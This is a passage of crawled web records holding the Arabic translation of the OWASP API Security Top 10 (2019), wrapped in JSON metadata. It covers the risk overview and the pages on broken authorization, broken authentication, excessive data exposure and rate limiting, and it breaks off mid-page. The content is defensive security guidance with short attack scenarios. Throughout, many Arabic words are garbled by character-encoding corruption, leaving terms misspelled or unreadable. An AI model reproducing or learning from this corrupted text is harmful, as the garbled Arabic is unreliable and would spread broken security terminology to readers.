2 | متوسط 2 | تحديد الأعمال |\n| ؎ؾا،ؾ API | ؾؚب 1 | ؾؚب 1 | ؾؚب 1 | منخفض | تحديد الأعمال |\n\n**ملاحظة:** هذا النهج لا يأخذ في الاعتبار احتمال و؏ود عامل التهديد، كما أنه لا يأخذ في الحسبان أيًا من التفاصيل الفنية المختلفة المرتبطة بتطبيقك. يمكن لأي من هذه العوامل أن تؤ؍ع بشكل كبير على الاحتمالية الإجمالية للمهاجم للعثور على ؍غع؊ أمنية معينة واستغلالها. لا يأخذ هذا التصنيف في الاعتبار التأثير الفعلي على عملك، سيتعين على مؤسستك تحديد مقدار المخاطر الأمنية من التطبيقات وواجهات برمجة التطبيقات التي تعغب المؤسسة في قبولها في ؜وإ البيئة التنظيمية. الغرض من OWASP API Security Top 10 ليس القيام بتحليل المخاطره نيابة عنك\n\n## المراجع\n\n### أواسب\n\n- [OWASP Risk Rating Methodology](https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology)\n- [Article on Threat/Risk Modeling](https://www.owasp.org/index.php/Threat_Risk_Modeling)\n\n### الروابط الخارجية\n\n- [ISO 31000: Risk Management Std](https://www.iso.org/iso-31000-risk-management.html)\n- [ISO 27001: ISMS](https://www.iso.org/isoiec-27001-information-security.html)\n- [NIST Cyber Framework (US)](https://www.nist.gov/cyberframework)\n- [ASD Strategic Mitigations (AU)](https://www.asd.gov.au/infosec/mitigationstrategies.htm)\n- [NIST CVSS 3.0](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator)\n- [Microsoft Threat Modeling Tool](https://www.microsoft.com/en-us/download/details.aspx?id=49168)", "znaku_textu": 2419, "slov": 251, "odkazu": 164, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:40:11", "sha256": "72b993dde9f4a698744889bac65199a90d31b04e741da3da20c0a89d43b816e1", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology", "https://www.owasp.org/index.php/Threat_Risk_Modeling", "https://www.iso.org/iso-31000-risk-management.html", "https://www.iso.org/isoiec-27001-information-security.html", "https://www.nist.gov/cyberframework", "https://www.asd.gov.au/infosec/mitigationstrategies.htm", "https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator", "https://www.microsoft.com/en-us/download/details.aspx?id=49168", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/ar/0x11-t10/", "titulek": "أهم ؚشع؊ مخاطر امنية تستهدف واجهة برمجة التطبيقات (API) - OWASP API Security Top 10", "h1": "أهم ؚشع؊ مخاطر امنية تستهدف واجهة برمجة التطبيقات (API)", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/ar/0x11-t10/", "jazyk": "ar", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "أهم ؚشع؊ مخاطر امنية تستهدف واجهة برمجة التطبيقات (API)"}], "markdown": "# أهم ؚشع؊ مخاطر امنية تستهدف واجهة برمجة التطبيقات (API)\n\n| المخاطر | الوصف |\n| --- | --- |\n| API1:2019 خلل التفويض والصلاحيات | تقوم واجهة برمجة التطبيقات API الى كشف بؚ؜ المعلومات عن مصدر التعامل مع الطلبات وهو بالعادة يكون (endpoints) التي تتعامل مع الطلبات الناشئة مما قد يؤدي الى مشكلة في التحكم في مستوى صلاحيات الوصول ، حيث يجب ان يكون هناك مستوى صلاحيات محدد ومعرف ومحدود لكل طلب يتم ارساله الى مصدر البيانات بواسء؊ المستخدمين. |\n| API2:2019 خلل في صلاحيات المستخد٠| غالبًا ما يتم تنفيذ آليات المصادقة بشكل غير صحيح ، مما يسمح للمهاجمين باختراق معايير المصادقة أو استغلال الثغرات المنطقية في آلية عمل التطبيق مما تسمح له بانتحال هويات المستخدمين الاخرين بشكل مؤقت أو دائم. حيث ان اختراق النظام او آلية تحديد هوية المستخدم هو ؎ءع على API بشكل عام. |\n| API3:2019 خلل في استؚعا؜ البيانات | ان تنصيب التقنيات بدون مراعات تغير الاعدادت الافتراضية التي قد تودي الى الكشف عن ؎ؾا،ؾ ومعلومات وبيانات هامة ولا يجب الاعتماد باي شكل من الاشكال على عوامل التصفية لدى المستخدم قبل عرضها. |\n| API4:2019 ؜ؚف في البنية التحتية و Ř­ŘŻ محاولات الطلبات | في كثير من الأحيان ، لا تفع؜ واجهات برمجة التطبيقات أي قيود على حجم أو ؚدد الموارد التي يمكن أن يطلبها العميل / المستخدم. ليس فقط يمكن لهذا تأثير على أداإ الخادم API، بل قد يؤدي إلى هجمات ح؏ب الخدمة (DoS)، وكذلك يمكن المهاجم من استخدام هجمة كسع كلمات المرور. |\n| API5:2019 ؜ؚف في التحقق من الهوية واداع؊ الصلاحيات و التفويض | تميل سياسات التحكم في الوصول المعقد ذات المجموعات والأدوار المختلفة ، والفصل غير الواضح بينهم في الصلاحيات الإدارية والعادية ، إلى عيوب في التفويض والصلاحيات. والتي تمكن المهاجم من استغلال هذا الضعف في الوصول إلى المستخدمين الآخرين و تصعيد الصلاحيات الى صلاحيات إدارية. |\n| API6:2019 خلل في التعين او التعديل | يؤدي ادخال البيانات المقدمة من المستخدم على سبيل المثال ادخال البيانات في ملف (Json) دون عوامل تصفية او قوائم فلترة ؎اؾ؊ مبنية على قوائم بيضاء الى خلل في التعديل او التعين والذي يسمح للمهاجمين بقراءة بيانات او طلب معلومات غير مصرح بها. |\n| API7:2019 الاعداد الخاطئ | ؚاد؊ ما يكون الاعدادت الخاطئة او الاعتماد على الاعدادات الافتراضية او الاعدادات و التغيرات الغير مخطط لها مسبقاً او البيانات السحابية الغير مؤمنه او الاخطاء في اؚدادات طلبات بروتوكول HTTP او مشاركة الموارد (CORS) او رسائل الخطأ التفصيلية التي تحتوي على معلومات حساس؊. |\n| API8:2019 الحقن | ŘŞŘ­ŘŻŘŤ عمليات استغلال الحقن SQL، NoSQL و Command Injection.. الخ عند ارسال معلومات او بيانات او طلبات او اوامر الى المفسر حيث يتم ؎داؚ المفسر لطلب وتنفيذ تعليمات او الحصول على بيانات غير مصرح باستخدامها. |\n| API9:2019 خلل في اداع؊ الاصول | تميل واجهات برمجة التطبيقات API الى الكشف عن مصادر البيانات (Endpoints) مما يجعل عمليات التوثيق في المستندات لجميع التغيرات في غاية الاهمية ويجب الحذر عند اجراءها، حيث ان اؚدادت وتنصيب الخوادم بشكل صحيح عند تثبيت API مهم جداً في تقليل الاخطاء التي قد تؤدي الى الكشف عن البيانات على سبيل المثال الاصدار الخاص بـAPI او واجهة معالج الاخطاء الخاصة به. |\n| API10:2019 خلل في طريقة تسجيل الاحداث والمراقبة | ان التسجيل الغير صحيح للاحداث و المراقبة لها يؤدي الى ؜ؚف عملية الاستجابة للحوادث، مما يسمح للمهاجم بالعودة مره اخرى او حتى البقاء داخل الشبكة او التنقل داخل الشبكة او الاطلاع و التلاعب و تسريب البيانات حيث تٌظهر معظم الدراسات ان الوقت اللازم لاكتشاف الاختراقات يزيد عن 200 يوم وؚاد؊ ما يتم اكتشاف تلك الاختراقات من اءعاف خارجية بدلاً من المراقبة بسبب ضعفها. |", "znaku_textu": 5592, "slov": 677, "odkazu": 153, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:40:20", "sha256": "ddce9deb438be9acba65655f83d3ac15841aa9b51dcf0b86c1c51f118c3a8e63", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/ar/0xa1-broken-object-level-authorization/", "titulek": "API1:2019 خلل التفويض والصلاحيات - OWASP API Security Top 10", "h1": "API1:2019 خلل التفويض والصلاحيات", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/ar/0xa1-broken-object-level-authorization/", "jazyk": "ar", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API1:2019 خلل التفويض والصلاحيات"}, {"uroven": 2, "text": "هل أنا معرض لهذه الثغرة؟"}, {"uroven": 2, "text": "امثلة على سيناريوهات الهجوŮ"}, {"uroven": 3, "text": "السيناريو الاول"}, {"uroven": 3, "text": "السيناريو الثاني"}, {"uroven": 3, "text": "كيف أمنع هذه الثغرة؟"}, {"uroven": 2, "text": "المراجع"}, {"uroven": 3, "text": "المصادر الخارجية"}], "markdown": "# API1:2019 خلل التفويض والصلاحيات\n\n| عوامل التهديد/ الاستغلال | نقاط الضعف | التأثير |\n| --- | --- | --- |\n| ؎ؾا،ؾ API : قابلية الاستغلال **3** | الانتشار **3** : قابلية الاكتشاف **2** | التأثر التقني **3** : ŘŞŘŁŘŤŘą الأعمال |\n| يستطيع المهاجم استغلال نقاط الضعف في مصادر البيانات Endpoint المتأثرة بخلل في الصلاحيات من خلال التلاعب او التغير بالمعرف الفريد عند ارسال الطلبات. قد يؤدي كذلك الى الوصول غير المصرح به الى البيانات الحساسة. وتؚتبع خلل تفويض الصلاحيات مشكلة شا،ؚ؊ جداً في التطبيقات بسبب عدم إمكانية الخوادم من تتبؚ العمليات التي يقوم بها المستخدم بشكل كامل. وحيث انه يعتمد بشكل كامل على إيصال كل معرف فريد لمصدر البيانات الذي يطلب منه. | يعتبر هذا الهجوم هو الأكثر شيوعاً على واجهات برمجة التطبيقات API. حيث ان استخدام مثل هذه الاليات شا،ؚ؊ جداً في التطبيقات الحديثة وواسؚ؊ الانتشار. حتى وان كانت صلاحيات الوصول في البنية التحتية للتطبيق مبنيه بشكل سليم، فقد ينسى المطورون استخدام تلك الصلاحيات في الوصول الى البيانات الحساسة وقد لا يتم اكتشاف نقاط الضعف المبنية على خلل صلاحيات الوصول من خلال عمليات المسح للبحث عن الثغرات بشكل آلي. | يمكن أن يؤدي الوصول غير المصرح به إلى الكشف عن البيانات لأطراف غير مصرح لها أو فقدان البيانات أو التلاعب بها وكذلك يمكن أن يؤدي الوصول غير المصرح به إلى إلى الاستيلاء الكامل على الحساب. |\n\n## هل أنا معرض لهذه الثغرة؟\n\nان عمليات ؼداع؊ صلاحيات الوصول والتحكم بها ؚاد؊ يبنى من خلال كتاب؊ الاكواد البرمجية في المقام الأول بشكل سليم بحيث يستطيع المستخدم الوصول الى البيانات المسموح له بالوصول لها.\nان جميع مصادر البيانات الخاصة بـ API لها معرف وكائن وصلاحيات ؎اؾ ومرتبطة بها، وعند و؏ود أي ا؏عاإ على تلك المصادر او الكائنات يجب ان يتم استخدام تلك التصاريح. حيث يتم التحقق من صلاحيات المستخدم الذي قام بعملية تسجيل الدخول ومعرفة ؼذا كان لدية حق الوصول لأجراء او استؚعا؜ او تعديل البيانات. وؚاد؊ ما يؤدي الفشل في التحقق من هذه الالية الى الكشف والتعديل عن معلومات وبيانات الغير مصرح به.\n\n## امثلة على سيناريوهات الهجوŮ\n\n### السيناريو الاول\n\nتوفع منصة التجارة الالكترونية مواقع ؚبع الانترنت (ؚباع؊ عن متاجر الالكترونية) خدمة مصادر الربح الخاصة بالمتاجر المستضاف على المنصة، حيث يستطيع المهاجم من خلال ؚع؜ مصدر الصفحة معرفة API الذي قام بجلب تلك المعلومات ومعرفة مصدرها على سبيل المثال : `/shops/{shopName}/revenue_data.json` ومن خلال تلك الطريقة يستطيع المهاجم من الحصول على بيانات الربح لجميع المتاجر المتسضافة في المنصة من خلال تغير {shopName} في عنوان URL بطريقة غير مصرح بها.\n\n### السيناريو الثاني\n\nاثناء فحؾ حعك؊ مرور البيانات من قبل المهاجم، قام بإرسال طلب من نوع PATCH من خلال بروتوكول HTTP لاختبار وفحؾ جميع الردود من قبل الخادم، وبؚد عمليات متعددة قام المهاجم بإرسال طلب من نوع PATCH وهو احد الطلبات المتعارف عليها في برتوكول HTTP. تتضمن الترويسة الافتراضية التي يستخدمها الطلب هي header X-User-Id: 54796 مما لفت انتباه المهاجم الى تغيرها لي header X-User-Id: 54795 مما سمح للمهاجم بالوصول/و التعديل الغير مصرح به لبيانات مستخدمين اخرين.\n\n### كيف أمنع هذه الثغرة؟\n\n- الاعتماد على سياسة و آلية تخويل لصلاحيات تعتمد على سياسة الاستخدام المقبول والتسلسل الهرمي السهل الواضح.\n- استخدام آلية لتحقق من صلاحيات المستخدم الذي قام بتسجيل الدخول وهل لديه الحق في تنفيذ الإجراءات على السجلات في كل سجل على Ř­ŘŻŘŠ وبشكل مستقل.\n- يفضل استخدام قيم عشوائية وغير قابلة لتخمين في استخدام GUIDs في السجلات\n- يفضل كتاب؊ معايير لاختبار مدى نضج التفويض والصلاحيات و عدم القيام باى تغييرات قد تؤدى الى و؏ود ؍غعات حتى لا يتم كسع المعايير التى تم كتابتها\n\n## المراجع\n\n### المصادر الخارجية\n\n- [CWE-284: Improper Access Control](https://cwe.mitre.org/data/definitions/284.html)\n- [CWE-285: Improper Authorization](https://cwe.mitre.org/data/definitions/285.html)\n- [CWE-639: Authorization Bypass Through User-Controlled Key](https://cwe.mitre.org/data/definitions/639.html)", "znaku_textu": 5982, "slov": 685, "odkazu": 163, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:40:29", "sha256": "fef082ef211098444286717e635486bc9a804fbdfb93ec40c68284d8770f9626", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cwe.mitre.org/data/definitions/284.html", "https://cwe.mitre.org/data/definitions/285.html", "https://cwe.mitre.org/data/definitions/639.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/ar/0xa2-broken-user-authentication/", "titulek": "API2:2019 خلل في صلاحيات المستخدم - OWASP API Security Top 10", "h1": "API2:2019 خلل في صلاحيات المستخدŮ", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/ar/0xa2-broken-user-authentication/", "jazyk": "ar", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API2:2019 خلل في صلاحيات المستخدŮ"}, {"uroven": 2, "text": "هل أنا معرض لهذه الثغرة؟"}, {"uroven": 2, "text": "امثلة على سيناريوهات الهجوŮ"}, {"uroven": 3, "text": "السيناريو الاول"}, {"uroven": 3, "text": "السيناريو الثاني"}, {"uroven": 2, "text": "كيف أمنع هذه الثغرة؟"}, {"uroven": 2, "text": "المراجع"}, {"uroven": 3, "text": "أواسب"}, {"uroven": 3, "text": "المصادر الخارجية"}], "markdown": "# API2:2019 خلل في صلاحيات المستخدŮ\n\n| عوامل التهديد/ الاستغلال | نقاط الضعف | التأثير |\n| --- | --- | --- |\n| ؎ؾا،ؾ API : قابلية الاستغلال **3** | الانتشار **2** : قابلية الاكتشاف **2** | التأثر التقني **3** : ŘŞŘŁŘŤŘą الأعمال |\n| المصادقة في واجهات برمجة التطبيقات API هي آلية معقدة وؾؚب؊ الفهم وقد يكون لدى مهندسي البرمجيات ومهندس امن المعلومات بؚ؜ المفاهيم الخاطئة حول حدود المصادقة وكيفية تنفيذها بشكل صحيح. بالإضافة إلى ذلك، تؚد آلية المصادقة هدفًا سهلاً للمهاجمين ، نظرًا لأنها متاحة للجميع. تجعل هاتان النقطتان مكون المصادقة ؚع؜؊ للعديد من عمليات الاستغلال. | هناك مسألتان فرعيتان: 1. محدودية آليات الحماية: يجب التعامل مع مصادر البيانات الخاصة بواجهات برمجة التطبيقات API والمسؤولة عن المصادقة بشكل مختلف عن المصادر الاخرى وتأمين طبقات إضافية من الحماية 2. سوإ تنفيذ الآلية: يتم استخدام / تنفيذ الآلية دون مراعاة طرق الاستغلال الهجوم، أو أنها تبني بشكل غير صحيح (على سبيل المثال، قد لا تتناسب آلية المصادقة المصممة لأجهزة إنترنت الأشياء مع تطبيقات الويب). | يمكن للمهاجمين التحكم في حسابات المستخدمين الآخرين في النظام ، وقراءة بياناتهم الشخصية ، وتنفيذ ؼ؏عاإات حساس؊ نيابة عنهم ، مثل المعاملات المالية وإرسال الرسائل الشخصية. |\n\n## هل أنا معرض لهذه الثغرة؟\n\nمصادر البيانات وآلية عملها والاصول الخاصة بها تحتا؏ إلى الحماية. حيث يجب معاملة \"نسيت كلمة المرور / ؼؚاد؊ تعيين كلمة المرور\" بنفس طريقة آليات المصادقة.\n\nيكون API معرض للخطر اذا كان: \n * اذا كان لدى المهاجم قائمة متكاملة من اسماء المستخدمين وكلمات المرور تم الحصول عليها من اختراق او تسريب سابق\n * عند قيام المهاجم بهجمات كسع كلمة المرور وعدم استخدام آلية تحقق اخرى من المستخدم مثل Captcha.\n * كلمات المرور الضعيفة\n * ارسال المعلومات الحساسة او كلمات المرور من خلال URL.\n * عدم التحقق بالشكل الصحيح من عمليات المصادقة\n * الموافقة على استخدام المصادقة الغير موقعه او الموقع بشكل غير امن (\"alg\":\"none\") او عدم التحقق من تاريخ انتهاء المصادقة.\n * استخدام البيانات غير المشفرة في عمليات تسجيل الدخول او عدم حفظ الارقام السرية بشكل مشفر\n * استخدام مفاتيح تشفير ضعيفة.\n\n## امثلة على سيناريوهات الهجوŮ\n\n### السيناريو الاول\n\nفي حال قام المهاجم بمحاولة الدخول بحسابات متعددة والتي تم الحصول عليها من تسريب للبيانات والتي يجب ان نقوم بو؜ؚ آلية للحماية من هجمات الدخول المتعدد بحسابات صحيح في وقت قصير ومحدود.\n\n### السيناريو الثاني\n\nفي حال قام المهاجم بمحاولة استؚاد كلمة المرور من خلال ارسال طلب POST الى `/api/system/verification-codes` وذلك باستخدام اسم المستخدم فقط لتحقق من استؚاد؊ كلمة المرور. حيث يقوم التطبيق بإرسال رسالة نصية لهاتف الضحية مع آلية المصادقة الجديدة والمكونة من 6 ارقام. وحيث ان API لم يقم بو؜ؚ Ř­ŘŻ اعلى لطلبات المصادقة سيقوم المهاجم بتنفيذ جميع الاحتماليات وذلك بالتخمين على آلية المصادقة التي تم ارسالها الى هاتف الضحية وذلك بإرسال طلبات متعددة الى `/api/system/verification-codes/{smsToken}` لتحقق من مصدر البيانات في حال كان احد عمليات التخمين كانت صحيحة.\n\n## كيف أمنع هذه الثغرة؟\n\n- يجب ان تكون على دراية بجميع طرق و آليات المصادقة التي تتم من خلال ( الهواتف /تطبيقات الويب /المصادقة الواحدة/إلخ)\n- قم بالتعاون مع مهندس التطبيقات لمعرفة ماهي الآليات المفقودة عند عمليات المصادقة\n- اقرأ عن آليات المصادقة الخاصة بك. تأكد من أنك تفهم ماذا وكيف يتم استخدامها ويجب التنويه على ان برتوكول. OAuth ليس للمصادقة ، ولا مفاتيح واجهة رمجة التطبيقات API تستخدم للمصادقة.\n- لا تقم بؼ؎تعاؚ واؚاد؊ صناعة آليات مصادقة جديدة بل اتبؚ افضل الامتثالات والمعايير المتعارف عليها.\n- يجب التعامل مع مصادر البيانات لاستعادة كلمة المرور ونسيت كلمة المرور بشكل صحيح وذلك من خلال و؜ؚ ؜وابء و آليات للحد من هجمات كسع كلمات المرور\n- الاستفادة من وسائل الحماية كتعطيل الحساب بؚد ؚدد محاولات غير ناجحة من عمليات تسجيل الدخول.\n- قم باستخدام نموذج [OWASP Authentication Cheatsheet](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html)\n- في حال توفع التحقق الثنائي قم باستخدامه.\n- قم بتنصيب التقنيات والطرق والاليات لرصد هجمات كسع كلمات المرور او محاولة استغلال الحسابات المسربة وقم بو؜ؚ آلية محددة لتقليل معدل المصادقة التي تستخدم API.\n- قم باستخدام آلية [ايقاف الحسابات](https://www.owasp.org/index.php/Testing_for_Weak_lock_out_mechanism_(OTG-AUTHN-003)) او Captcha وذلك لتقليل ومنع هجمات كسع كلمات المرور وقم بتنصيب تقنية عدم اتاح؊ استخدام كلمات المرور الضعيفة.\n- يجب عدم استخدام مفاتيح الـ API لمصداقة المستخدم, بل تستخدم لتصديق التطبيقات والمشاريع مع الـ API.\n\n## المراجع\n\n### أواسب\n\n- [OWASP Key Management Cheat Sheet](https://www.owasp.org/index.php/Key_Management_Cheat_Sheet)\n- [OWASP Authentication Cheatsheet](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html)\n- [Credential Stuffing](https://www.owasp.org/index.php/Credential_stuffing)\n\n### المصادر الخارجية\n\n- [CWE-798: Use of Hard-coded Credentials](https://cwe.mitre.org/data/definitions/798.html)", "znaku_textu": 7437, "slov": 856, "odkazu": 166, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:40:38", "sha256": "b940e68b96505f756cd86893ef5a41cd5a26f3b93475397abb93813feac5ab64", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html", "https://www.owasp.org/index.php/Testing_for_Weak_lock_out_mechanism_(OTG-AUTHN-003)", "https://www.owasp.org/index.php/Key_Management_Cheat_Sheet", "https://www.owasp.org/index.php/Credential_stuffing", "https://cwe.mitre.org/data/definitions/798.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/ar/0xa3-excessive-data-exposure/", "titulek": "API3:2019 خلل في استؚعا؜ البيانات - OWASP API Security Top 10", "h1": "API3:2019 خلل في استؚعا؜ البيانات", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/ar/0xa3-excessive-data-exposure/", "jazyk": "ar", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API3:2019 خلل في استؚعا؜ البيانات"}, {"uroven": 2, "text": "هل أنا معرض لهذه الثغرة؟"}], "markdown": "# API3:2019 خلل في استؚعا؜ البيانات\n\n| عوامل التهديد/ الاستغلال | نقاط الضعف | التأثير |\n| --- | --- | --- |\n| ؎ؾا،ؾ API : قابلية الاستغلال **3** | الانتشار **2** : قابلية الاكتشاف **2** | التأثر التقني **2** : ŘŞŘŁŘŤŘą الأعمال |\n| ؚاد؊ ما يكون الكشف الغير مصرح به عن المعلومات او البيانات من خلال مراقبة حعك؊ مرور البيانات او الطلبات وتحليل جميع الردود القادمة من API، وذلك للبحث عن أي بيانات حساس؊ يتم استعادتها وغير مصرح للمستخدم بالاطلاع عليها. | تعتمد واجهات التطبيقات API على ان تكون عوامل التصفية من جانب المستخدم حيث ان API ؚاد؊ ما يتم استخدامه كمصدر للبيانات وفي بؚ؜ الأحيان يقوم المطورون بتنصيب API بشكل عام وافتراضي من غير التفكير في طرق التعامل مع البيانات الحساسة. حيث ان أدوات الفحص واكتشاف الثغرات الأمنية تستطيع عؾد مثل تلك الثغرات والتي يصعب على API معرفة ؼذا كان هذا الطلب لأغراض الاستخدام الصحيح والقانوني او لأغراض الاطلاع وتسريب البيانات الحساسة. لذلك يجب ان نقوم بتصنيف البيانات الحساسة والفهم العميق لألية الطلب لها. | ؚاد؊ ما يودي الكشف عن البيانات الى الاطلاع غير المصرح به او تسريب البيانات |\n\n## هل أنا معرض لهذه الثغرة؟\n\nتقوم واجهة برمجة التطبيقات بؼع؏اؚ البيانات الحساسة إلى العميل حسب التصميم والطلب . ؚاد؊ ما يتم تصفية هذه البيانات من جانب العميل قبل تقديمها للمستخدم. يمكن للمهاجم بسهولة اؚتعا؜ حعك؊ المرور ورؤية البيانات الحساسة.\n\n## امثلة على سيناريوهات الهجوم: \n\n### السيناريو الاول: \n\n يقوم مطورين تطبيق الهواتف الذكية باستخدام `/api/articles/{articleId}/comments/{commentId}` كمصدر للبيانات وذلك بهدف ؚع؜ المقالات وبؚ؜ البيانات الوصفية الخاصة بها. وهنا يقوم المهاجم باؚتعا؜ حعك؊ مرور البيانات الصادرة من هذه التطبيق وقراءة تلك البيانات الوصفية والتي قد تقوم بتسريب بؚ؜ البيانات الحساسة مثل بيانات كاتبين التعليقات وبؚ؜ بيانات تحديد الشخصية كـ PII، حيث ان مصدر البيانات تم تنصيبه بشكل افتراضي على هيئة (JSON) ومبنية على عامل التصفية لدى المستخدم.\n\n### السيناريو الثاني : \n يسمح نظام المراقبة المبني على أنظمة IOT او انترنت الأشياء لمدير النظام بانشاء حسابات للمستخدمين بمختلف الصلاحيات، حيث قام مدير النظام بانشاء حساب لاحد حعاس الامن والذي مصرح له بالاطلاع على بؚ؜ المباني و المواقع. وعندما قام الحارس باستخدام هاتفه للاطلاع على النظام يقوم نظام API باستدؚاإ لوحة أنظمة المراقبة المتاحة له من خلال /api/sites/111/cameras والتي تسمح له بمعرفة ؚدد الكاميرات المتاحة الاطلاع عليها من قبل حاعس الامن حيث ان بؚد عملية الطلب تم استقبال الرد من الخادم ببؚ؜ المعلومات التفصيلية على سبيل المثال `{\"id\":\"xxx\",\"live_access_token\":\"xxxx-bbbbb\",\"building_id\":\"yyy\"}` والتي لا تظهر على لوحة المراقبة الخاصة بالحارس ( الواجهة الرسومية ) بل في تفاصيل الطلب فقط والتي تحتوي على جميع الكاميرات والمباني.\n\n### كيف أمنع هذه الثغرة؟ \n\n* لا تثق ابداُ في عوامل التصفية لدى العميل او المستخدم في حال كانت هناك بيانات حساس؊\n* دائماً قم بمراجعة الطلبات والردود من مصادر البيانات للتاكد من ان جميع البيانات المتوفرة هي بيانات غير حساس؊ ومنطقية\n* يجب على مهندسي التطبيقات الداخلية و مسؤولي الانظمة السؤال بشكل دائم من هم مستخدمي تلك البيانات قبل البدء بتنصيب API جديدة على النظام.\n* تجنب استخدام الإعدادات العامة مثل to_json() و To_string() واستبدلها ب؎ؾا،ؾ معينة ومحددة مطلوب استرجاعها. \n* قم بتصنيف المعلومات الحساسة و المعلومات المرتبطة بالهوية الشخصية (PII) التي يخزنها تطبيقك ويعمل معها ، مع مراجعة جميع الطلبات الخاصة بواجهة برمجة التطبيقاتAPI والردود المتوقعة منها ومعرفة الاشكاليات الامنية التي قد يتم رصدها بتلك الردود \n* قم باستخدام آليات التحقق مثل `(schema-based response validation mechanism)` وحدد ماهي البيانات التي يتم ارجاعها مع الطلبات بما في ذلك الاخطاء والمعلومات المتوفرة بها.\n\n### المراجع : \n### المصادر الخارجية :\n* [CWE-213: Intentional Information Exposure][1]\n\n[1]: https://cwe.mitre.org/data/definitions/213.html", "znaku_textu": 5960, "slov": 677, "odkazu": 154, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:41:08", "sha256": "db4f4ea08cb128e2c953ea9e1ac488cdbb84d7cccd93f989e4f181d1c5796c92", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/ar/0xa4-lack-of-resources-and-rate-limiting/", "titulek": "API4:2019 ؜ؚف في البنية التحتية و Ř­ŘŻ محاولات الطلبات - OWASP API Security Top 10", "h1": "API4:2019 ؜ؚف في البنية التحتية و Ř­ŘŻ محاولات الطلبات", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/ar/0xa4-lack-of-resources-and-rate-limiting/", "jazyk": "ar", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API4:2019 ؜ؚف في البنية التحتية و Ř­ŘŻ محاولات الطلبات"}, {"uroven": 3, "text": "هل أنا معرض لهذه الثغرة؟"}, {"uroven": 2, "text": "امثلة على سيناريوهات الهجوم:"}, {"uroven": 3, "text": "السيناريو الاول:"}, {"uroven": 2, "text": "السيناريو الثاني :"}, {"uroven": 3, "text": "كيف أمنع هذه الثغرة؟"}, {"uroven": 3, "text": "المراجع :"}, {"uroven": 3, "text": "المصادر الخارجية :"}], "markdown": "# API4:2019 ؜ؚف في البنية التحتية و Ř­ŘŻ محاولات الطلبات\n\n| عوامل التهديد/ الاستغلال | نقاط الضعف | التأثير |\n| --- | --- | --- |\n| ؎ؾا،ؾ API : قابلية الاستغلال **2** | الانتشار **3** : قابلية الاكتشاف **3** | التأثر التقني **2** : ŘŞŘŁŘŤŘą الأعمال |\n| ان عملية الاختراق في بؚ؜ الاحيان عملية غير معقدة حيث لا يستلزم الا طلب بسيط للـAPI ومن غير عملية مصادقة كذلك وقد يتم ارسال طلب من خلال جهاز واحد او أجهزة متعددة او أجهزة الخدمات السحابية. | من الاخطاء الشائعة والمنتشرة هو عدم و؜ؚ معدل لطلبات او لم يتم اختيار الموصفات المناسبة عند تنصيب واجهات برمجة التطبيقات API. | قد يؤدي الاستغلال الى هجمات ح؏ب الخدمة DOS مما يجعل واجهة برمجة التطبيقات API غير مستجيبة او ؎اع؏ الخدمة. |\n\n### هل أنا معرض لهذه الثغرة؟\n\nتستهلك واجهة برمجة التطبيقات API المصادر والأصول من شبكات ووحدات المعالجة وكذلك وسا،ء التخزين حيث يعتمد بشكل كبير مقدرة تعامل البنية التحتية حسب طلبات ومدخلات المستخدم لمصادر البيانات. 